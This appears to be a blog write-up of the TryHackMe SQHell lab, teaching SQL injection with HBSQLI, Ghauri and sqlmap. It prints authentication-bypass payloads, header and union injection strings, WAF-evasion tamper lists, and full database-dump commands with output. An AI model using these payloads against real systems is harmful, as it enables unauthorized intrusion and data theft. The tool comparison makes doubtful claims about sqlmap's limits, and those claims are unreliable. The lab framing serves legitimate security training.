Introduction
Understanding SQL Injection
A web application becomes vulnerable to SQL injection attacks when attackers perform malicious manipulation of the SQL queries it runs. An improper input validation and sanitization practice creates vulnerabilities through which attackers gain access. Attackers can exploit this vulnerability to:
The attacker can extract sensitive database contents through the this vulnerability. Through this vulnerability, if executed successfully an attacker can perform the following actions:
- Modify or delete records: The successful violation of database administrative operations serves attackers to enact administrative tasks on the database.
- Bypass authentication mechanisms
Types of SQL Injection
- In-band SQL Injection: Attackers accomplish both attack initiation and result acquisition through a single communication method (error-based or union-based).
- Blind SQL Injection: Attackers extract unseen query outputs but interpret information through application behavioral patterns (such as boolean indicators).
- Out-of-band SQL Injection: Transmission takes place over separate data channels since the attacker conducts their communication through HTTP requests.
Tools Discussed in this blog are:
- HBSQLI
- Ghauri
- Sqlmap
Header-Based SQL Injection Automation with HBSQLI
Having a tool like HBSQLI makes testing for Header Based SQL Injection (HBSQLI) vulnerabilities easily and manually. This is an awesome automated command line tool that will solve the problem of detecting Header Based Blind Sql Injection vulnerabilities like never before.
Why HBSQLI?
HBSQLI automates the task of testing HTTP headers for injection points creating a much simpler process with less manual work and being more accurate than before. It supports the testing of 1+ URLs that can be customized through payloads and headers. Additionally, it offers two modes:
- Verbose mode: Displays the entire testing process step-by-step.
- Non-verbose mode: It only prints out vulnerable URLs, as a cleaner output.
Getting Started with HBSQLI
To install HBSQLI, follow these steps:
git clone https://github.com/SAPT01/HBSQLI.git
cd HBSQLI
pip3 install -r requirements.txt
For testing, you can either provide a single URL or a list of URLs:
Make a small note though, you can then test various headers and various different payloads, as long as you tell it that you are explicitly mentioning it.
Customization Tips
If needed, use your own payloads or headers but their payloads should include a delay of 30 seconds to pick up on time based responses effectively. Change the header file such that your target’s testing requirements are met.
How to use automation tools to exploit SQL injection
Lab URL : https://tryhackme.com/r/room/sqhell
We can theoretically explain all the command flag that sqlmap
or ghauri
tool uses, but this is not the aim for this blog. You can always read blogs, wiki and github repo for tool usage. The best way to learn something in my humble opinion is to learn it practically through a bit of struggling so let’s use automated tool to try and solve this lab.
Before we start, if this is your first time learning and using tools like sqlmap
, I highly recommend to be familiar and comfortable with using burp suite requests
and pass into sqlmap
. Though it sounds complicated it’s an really easy and simple process, and the way to learn is via demonstration, and since it hard to read and follow along, video tutorial works the best. Feel free to check the following video.
Flag 1:
The first challenge we are presented with login page. Our first idea is to use sql auth bypass payloads . Let’s fuzz and find any of the valid payloads. Some of the payloads that work are:
' or 1=1 limit 1 -- -+
admin' or 1=1;-- -
The sqlmap
equivalent of this command and this process would be something like the following.
sqlmap -u http://10.10.X.X/login --method=POST --data=username=admin&password=admin -p username,password --risk=3 --level=3 --random-agent
Now here in the above command we are specifying the target URL with -u
and then we are explicitly mentioning the type of request that the login form is using, which is POST
. Now we are passing the POST
parameters in the --data
flag which are username
and password
. According to google we increase the level of risk cautiously and you might want to double check and reconsider before you try this on the real world engagement.
The higher the value, the greater the number of payloads injected by sqlmap, but also the greater the risk. Depending on the location of the injection in the original SQL query, **increasing the risk can lead to unwanted data modifications**. By default, this value is set to 1.
Flag 2:
Now for the second flag we are asked to check and visit terms and conditions
page this page at first glances looks like the below. Here we see that it says this web page logs our IP.
Googling with terms like log IP address
we find nothing helpful, so we dig a bit deeper and use search terms like logging IP address of website
and it takes us to complete whole different topics. Now if we google with this search term called logging client IP
we see an stackoverflow article which talks about X FORWARDED-FOR
, and maybe this is helpful in solving this task.
HTTP requests use headers to transmit client IP information within setups which use proxies or load balancers. Some good examples are:
- X-Forwarded-For: This header reveals the first IP of the requesting client when proxies exist between them and the website.
- X-Originating-IP: The same as X-Forwarded-For though sometimes email servers implement it to track original sender IPs.
- X-Remote-IP: The logging method shows the client’s IP address which appears to the intermediary server.
- X-Remote-Addr: This intermediate-server logging protocol provides for recording the remote client’s address during communication.
- X-Forwarded-Host: This header maintains the unmodified
Host
valueeğioth request which proxies administer.
Header information remains trustworthy based on server side verification because attackers can modify these headers. Now let’s fire up our sqlmap and burp suite to get our second flag.
We can use classic tool called sqlmap
and in this blog we will outline how we can use ghauri
as well. So brace yourself ghauri
tool is amazing, it’s a bit faster than sqlmap
and it’s payload processing is dope. You can check this tool from this link and yes installation steps are given in this link
SQLMAP Command:
sqlmap -u "http://10.10.46.168/terms-and-conditions" --headers="X-forwarded-for:1*" --level=5 --dbms=mysql --threads 10 --dump-all
Ghauri Command:
/home/mccleod via via v5.30.0 via via v3.8.10 via ⍱ took 2s
❯ ghauri -u "http://10.10.46.168/terms-and-conditions" --headers="X-forwarded-for:1*" --level=5 --dbms=mysql --threads 10 --dump
________.__ .__ {1.3.1}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 19:38:35 /2025-01-26/
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[19:38:38] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---
Parameter: X-forwarded-for (HEADER)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: X-forwarded-for: 1'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z
---
SNIP
'flag' in database 'sqhell_1'
[19:58:48] [INFO] retrieved: 1dagt
[20:14:04] [INFO] retrieved: THM{FLAG2:C678ABFE1C01FCA19E03901CEDAB1D15}
[20:14:39] [INFO] retrieved: 1HM{FLAG2:C678ABFE1C01FCA19E03901CEDAB1D15}
Database: sqhell_1
Table: flag
[1 entries]
+---------------------------------------------+----+
| flag | id |
+---------------------------------------------+----+
| THM{FLAG2:C678ABFE1C01FCA19E03901CEDAB1D15} | 1 |
+---------------------------------------------+----+
[20:14:39] [INFO] table 'sqhell_1.flag' dumped to CSV file '/home/mccleod/.ghauri/10.10.46.168/dump/sqhell_1/flag.csv'
[20:14:39] [INFO] fetched data logged to text files under '/home/mccleod/.ghauri/10.10.46.168'
[*] ending @ 20:14:39 /2025-01-26/
Flag 3
Flag 3 is my personal favourite one. This one taught and reminded me one of the basic things about web app pentesting which is to explore every single option and feature in the web application and we never know which feature might be vulnerable and which might give us an valid bug. While registering the user, we see that it validates if the user already exists or not.
That looks really interesting, why don’t we see how it looks in the burpsuite and what happens in the background. We fire up burp suite and we see that it takes us to an new endpoint.
That looks a lot interesting, you can either save this request to a text file and then pass it through ghauri
or sqlmap
. Since this is an GET
request, we can directly pass via -u
parameter. Now since the database for the previous task was sqhell_2
let’s specify the database for this situation so that we don’t have to wait a lot to get our flag and in our case the flag with correct database looks like this -D sqhell_3
.
/home/mccleod via via v5.30.0 via via v3.8.10 via ⍱ took 1m12s
❯ ghauri -r username.req --level=5 --dbms=mysql --threads 10 --dump -D sqhell_3
________.__ .__ {1.3.1}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 20:35:49 /2025-01-26/
[20:35:49] [INFO] parsing HTTP request from 'username.req'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[20:35:53] [INFO] testing connection to the target URL
Ghauri resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=' OR NOT 03031=3031-- wXyW
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: username='XOR(if(now()=sysdate(),SLEEP(6),0))XOR'Z
[snip]
+----+---------------------------------+----------+
| id | password | username |
+----+---------------------------------+----------+
| 1 | icantrememberthispasswordcanyou | admin |
+----+---------------------------------+----------+
[SNIP]
[20:37:26] [INFO] retrieved: 1
[20:37:42] [INFO] retrieved: THM{FLAG3:97AEB3B28A4864416718F3A5FAF8F308}
[20:37:46] [INFO] retrieved: 1
Database: sqhell_3
Table: flag
[1 entries]
+---------------------------------------------+----+
| flag | id |
+---------------------------------------------+----+
| THM{FLAG3:97AEB3B28A4864416718F3A5FAF8F308} | 1 |
+---------------------------------------------+----+
[20:37:46] [INFO] table 'sqhell_3.flag' dumped to CSV file '/home/mccleod/.ghauri/10.10.46.168/dump/sqhell_3/flag.csv'
[20:37:46] [INFO] fetched data logged to text files under '/home/mccleod/.ghauri/10.10.46.168'
[*] ending @ 20:37:46 /2025-01-26/
Flag 4:
For this, we found an endpoint called /user
which accepts id
parameter. We tried using sqlmap
and every tamper script that can possible be done on against the mysql
database, but this did not work.
sqlmap -u 'http://10.10.119.187/user?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_4 --random-agent --tamper=between,bluecoat,charencod
e,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multip
lespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versi
onedkeywords,versionedmorekeywords,xforwardedfor -T users
___
__H__
___ ___[,]_____ ___ ___ {1.8.4#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap
plicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[snip]
requests? [Y/n] y
[22:14:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[22:14:19] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[22:14:19] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a
few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-se
c' (e.g. '--time-sec=2')
Now I would certainly recommend to read more tamper scripts, which can be helpful in bypassing any of the web application firewalls. I was getting that the database called sqhell_4
was empty so we are out of luck and both ghauri
and sqlmap
resulted with the same message.
With nothing left, we manually perform sql injection
but this time we use order by
payload to determine the number of columns, and if we get error then the number of columns database has are 4.
order by 5;
. This is an very important lesson and sometimes in real world automation might fail, or we might not know how to use them in that particular situation, hence we should accept the bitter truth that knowing how to use tools is not enough and tools are not an silver bullet that guarantees exploitation of sql injection
Now we use the following nested sql injection payload
to get the flag.
union all select "1 union select 1,flag,3,4 from flag-- -",1,2 from users#
Flag 5:
For the fifth flag, despite running ghauri
twice I could not retrieve the full flag from the database. Ghauri did not yield positive results here is the command used.
ghauri -u 'http://10.10.46.168/post?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_5 --batch
But with sqlmap
I got flag instantly. Feel free to use --batch
option in both sqlmap
and in ghauri
so that each time you don’t have to manually
enter yes or no option for each question that the tool asks you. Use this option cautiously.
/home/mccleod via via v5.30.0 via via v3.8.10 via ⍱
❯ sqlmap -u 'http://10.10.46.168/post?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_5 --batch
___
__H__
___ ___["]_____ ___ ___ {1.8.4#stable}
|_ -| . [(] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap
plicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:55:37 /2025-01-26/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[20:55:38] [INFO] testing connection to the target URL
[snip]
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://10.10.46.168/post?id=1 AND 2267=2267
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: http://10.10.46.168/post?id=1 AND GTID_SUBSET(CONCAT(0x716b706a71,(SELECT (ELT(2776=2776,1))),0x716a766b71),2776)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: http://10.10.46.168/post?id=1;SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://10.10.46.168/post?id=1 AND (SELECT 9734 FROM (SELECT(SLEEP(5)))aKka)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: http://10.10.46.168/post?id=-5001 UNION ALL SELECT NULL,CONCAT(0x716b706a71,0x73787449436e65436d48594e4b4c575542746369594450694f6e506a6d7a
4e51624452424957664f,0x716a766b71),NULL,NULL-- -
---
[20:56:11] [INFO] the back-end DBMS is MySQL
[20:56:12] [WARNING] potential permission problems detected ('command denied')
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.6
[20:56:12] [INFO] fetching tables for database: 'sqhell_5'
[20:56:12] [INFO] fetching columns for table 'flag' in database 'sqhell_5'
[20:56:12] [INFO] fetching entries for table 'flag' in database 'sqhell_5'
Database: sqhell_5
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG5:B9C690D3B914F7038BA1FC65B3FDF3C8} |
+----+---------------------------------------------+
[snip]
[20:56:14] [INFO] fetched data logged to text files under '/home/mccleod/.local/share/sqlmap/output/10.10.46.168'
Key Features Comparison
When comparing Ghauri and SQLMap as tools for SQL injection detection and exploitation, several features highlight why Ghauri may be considered superior in certain contexts, particularly for automation.
Feature | Ghauri | SQLMap |
Injection Types Supported | Boolean, Error, Time-based, Stacked Queries | Full support for blind SQL injection techniques |
Request Types | GET, POST, Headers, Cookies, Multipart, JSON | Primarily GET and POST |
Proxy Support | Yes | Yes |
Session Management | Supports session flushing and resuming | Limited session management |
User-Agent Handling | Automatically handles user-agent issues | Requires manual specification of random agents |
Speed of Detection | Faster in some cases with less false positives | Slower in certain conditions |
Customization Options | Extensive options for limiting data extraction | Highly customizable but can be complex |
Ease of Use | User-friendly with straightforward commands | Powerful but may require more expertise |
Why Ghauri May Be Better for SQLMap Automation
The use of Ghauri appears advantageous above SQLMap automation primarily because of its enhanced speed.
Speed and Efficiency: Independent research shows that Ghauri manages to identify vulnerabilities more swiftly than SQLMap operates within specific testing environments. The effectiveness of Ghauri in detecting exploits exceeds SQLMap’s limitations especially when SQLMap fails as shown through demonstrations presented.
User-Agent Management: Ghauri provides automatic management of user-agent strings as a vital component for defending against web application firewalls (WAFs). SQLMap needs users to define their own random user-agent because WAF systems like CloudFlare can detect and block them.
Versatile Injection Support: The wider injection type compatibility of Ghauri through its support for JSON and multipart form data grants better applicability across different web application structures than SQLMap which primarily targets GET and POST requests.
Session Handling: Through its improved session handling Ghauri enables users to clear sessions and restore previously established connections. The system helps testers reduce their testing durations when running long evaluations.
False Positives: Based on user feedback Ghauri demonstrates better performance by showing fewer erroneous results than the SQLMap tool. Reliability sustains the testing procedure since reduced nagging demands for extensive result validation.
Taking sql injection
beyond this blog
Now if you look carefully all the commands and everything we have ever talked about sqlmap
or ghauri
or tools like bbsqli
it’s all a reference of collection of CLI commands that worked once or few times in a particular situation. Now mind you real world is often cruel, harder and often unforgiving and always the plan does not go as expected. So if you are thinking just learning few commands from online resources about these cool tools will get you bounties or web application vulnerability findings then you are mistaken my friend. It’s often frustrating, and it is either hit or miss, and these tools or the knowledge we have discussed on the blog might fall short when it comes to building competence in the area of web pentesting. So what’s our best chances and what can we do to improve our knowledge and skill in the domain of web pentesting?
You can teach yourself, teach your friends that way you solidify what you have learnt, create blogs and content around the web pentest area, try out and play cool ctfs get stuck and learn along the way. But since the topic is about sql injection
in particular, what can we do to learn and stay updated and to learn about the possibilities of new ways to use these amazing automation tools? There has to be a better and smarter approach right?
You can try out these google dorks to read high quality blogs written by real bug bounty hunters. This is just the surface level.
site: medium.com "sqlmap" "bug bounty"
site: infosecwriteups.com "sqlmap" "bug bounty"
site: medium.com "ghauri" "bug bounty"
site: infosecwriteups.com "ghauri" "bug bounty"
Make sure you try and experiment with words like bug bounty
and bugbounty
(yes try with space and without space in between words), also try with and without the use of double quotes. You will be surprised with the number of commands and tool usage ideas you will stumble across reading posts of other experienced bounty hunters.
Some other good websites to learn about hacking are:
- https://www.hackingarticles.in/
- https://book.hacktricks.wiki/en/index.html
Some good websites to practice web pentesting are:
- https://tryhackme.com/
- https://hackthebox.com (Both academy and labs)
- https://portswigger.net/web-security/all-topics (for learning all topics related to web pentesting)
Now if you wish to get daily updates on newly released writeups and articles related to web pentest and bug bounty then feel free to check this telegram channel. Also you can follow bug bounty tips
and writeups
on twitter and other social media.
https://t.me/dailybountywriteup
This is indeed an endless journey, and the only way we can ever stay relevant is to keep on getting better at-least by a fraction each day no, no matter how small, progress matters more than perfection. With this we come to an halt, see you on the next blog.